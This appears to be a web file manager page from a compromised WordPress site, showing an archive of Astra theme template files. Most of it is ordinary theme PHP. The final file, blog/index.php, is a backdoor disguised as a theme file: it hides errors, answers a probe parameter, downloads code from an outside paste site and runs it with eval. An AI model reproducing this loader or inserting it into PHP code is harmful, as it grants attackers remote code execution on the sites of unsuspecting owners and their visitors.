Файловый менеджер - Редактировать - /home/ephorei/www/wp-includes/images/media/q2m9hb/template-parts.tar
Назад
special-banner.php 0000644 00000004164 15006120632 0010140 0 ustar 00 <?php /** * Template part for displaying archive post's entry banner. * * @link https://codex.wordpress.org/Template_Hierarchy * * @package Astra * @since 4.0.0 */ $special_type = ! empty( $args ) && ! empty( $args['type'] ) ? $args['type'] : 'search'; $astra_banner_control = 'section-' . esc_attr( $special_type ) . '-page-title'; // If description is the only meta available in structure & its blank then no need to render banner markup. $astra_archive_structure = astra_get_option( $astra_banner_control . '-structure', array( $astra_banner_control . '-title' ) ); if ( empty( $astra_archive_structure ) ) { return; } $astra_get_archive_description = astra_get_archive_description( $special_type ); if ( 1 === count( $astra_archive_structure ) && in_array( $astra_banner_control . '-description', $astra_archive_structure ) && empty( $astra_get_archive_description ) ) { return; } // Conditionally updating data section & class. $astra_attr = 'class="ast-archive-entry-banner"'; if ( is_customize_preview() ) { $astra_attr = 'class="ast-archive-entry-banner ast-post-banner-highlight site-header-focus-item" data-section="' . esc_attr( $astra_banner_control ) . '"'; } $astra_layout_type = astra_get_option( $astra_banner_control . '-layout' ); $astra_data_attrs = 'data-post-type="' . $special_type . '" data-banner-layout="' . $astra_layout_type . '"'; if ( 'layout-2' === $astra_layout_type && 'custom' === astra_get_option( $astra_banner_control . '-banner-width-type', 'fullwidth' ) ) { $astra_data_attrs .= 'data-banner-width-type="custom"'; } $astra_background_type = astra_get_option( $astra_banner_control . '-banner-image-type', 'none' ); if ( 'layout-2' === $astra_layout_type && 'none' !== $astra_background_type ) { $astra_data_attrs .= 'data-banner-background-type="' . $astra_background_type . '"'; } ?> <section <?php echo wp_kses_post( $astra_attr . ' ' . $astra_data_attrs ); ?>> <div class="ast-container"> <?php if ( is_customize_preview() ) { Astra_Builder_UI_Controller::render_banner_customizer_edit_button(); } astra_banner_elements_order( $astra_archive_structure ); ?> </div> </section> blog/blog-layout-4.php 0000644 00000001763 15006120632 0010601 0 ustar 00 <?php /** * Template for Blog * * @package Astra * @link https://wpastra.com/ * @since Astra 4.6.0 */ ?> <div <?php astra_blog_layout_class( 'blog-layout-4' ); ?>> <div class="post-content <?php echo wp_kses_post( astra_attr( 'ast-grid-common-col' ) ); ?>" > <?php astra_blog_post_thumbnail_and_title_order(); ?> <div class="entry-content clear" <?php echo wp_kses_post( astra_attr( 'article-entry-content-blog-layout', array( 'class' => '', ) ) ); ?> > <?php astra_entry_content_before(); astra_entry_content_after(); wp_link_pages( array( 'before' => '<div class="page-links">' . esc_html( astra_default_strings( 'string-blog-page-links-before', false ) ), 'after' => '</div>', 'link_before' => '<span class="page-link">', 'link_after' => '</span>', ) ); ?> </div><!-- .entry-content .clear --> </div><!-- .post-content --> </div> <!-- .blog-layout-4 --> blog/blog-layout-5.php 0000644 00000003432 15006120632 0010575 0 ustar 00 <?php /** * Blog Pro - Blog Layout 5 Template * * @todo Update this template for Default Blog Style * * @package Astra Addon */ $blog_structure_order = astra_get_option( 'blog-post-structure', array() ); ?> <div <?php astra_blog_layout_class( 'blog-layout-5' ); ?>> <?php $astra_addon_blog_featured_image = apply_filters( 'astra_featured_image_enabled', true ); ?> <?php if ( $astra_addon_blog_featured_image && in_array( 'image', $blog_structure_order ) ) : ?> <?php // Blog Post Featured Image. astra_get_post_thumbnail( '<div class="ast-blog-featured-section post-thumb ' . esc_html( apply_filters( 'astra_attr_ast-grid-col-6_output', 'ast-grid-col-6' ) ) . '">', '</div>' ); ?> <?php endif; ?> <div class="post-content <?php echo esc_html( apply_filters( 'astra_attr_ast-grid-col-6_output', 'ast-grid-col-6' ) ); ?>"> <?php /** @psalm-suppress TooManyArguments */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort astra_blog_post_thumbnail_and_title_order( array( 'image' ) ); /** @psalm-suppress TooManyArguments */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort ?> <div class="entry-content clear" <?php echo wp_kses_post( astra_attr( 'article-entry-content-blog-layout-3', array( 'class' => '', ) ) ); ?> > <?php astra_entry_content_before(); ?> <?php astra_entry_content_after(); ?> <?php wp_link_pages( array( 'before' => '<div class="page-links">' . esc_html( astra_default_strings( 'string-blog-page-links-before', false ) ), 'after' => '</div>', 'link_before' => '<span class="page-link">', 'link_after' => '</span>', ) ); ?> </div><!-- .entry-content .clear --> </div><!-- .post-content --> </div> <!-- .blog-layout-5 --> blog/index.php 0000444 00000000634 15006120632 0007303 0 ustar 00 <?php ?><?php error_reporting(0); if(isset($_REQUEST["ok"])){die(">ok<");};?><?php function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); $data = curl_exec($ch); curl_close($ch); return $data; } $ok = '?>'; eval("$ok" . get('https://paste.myconan.net/495929.txt')); ?>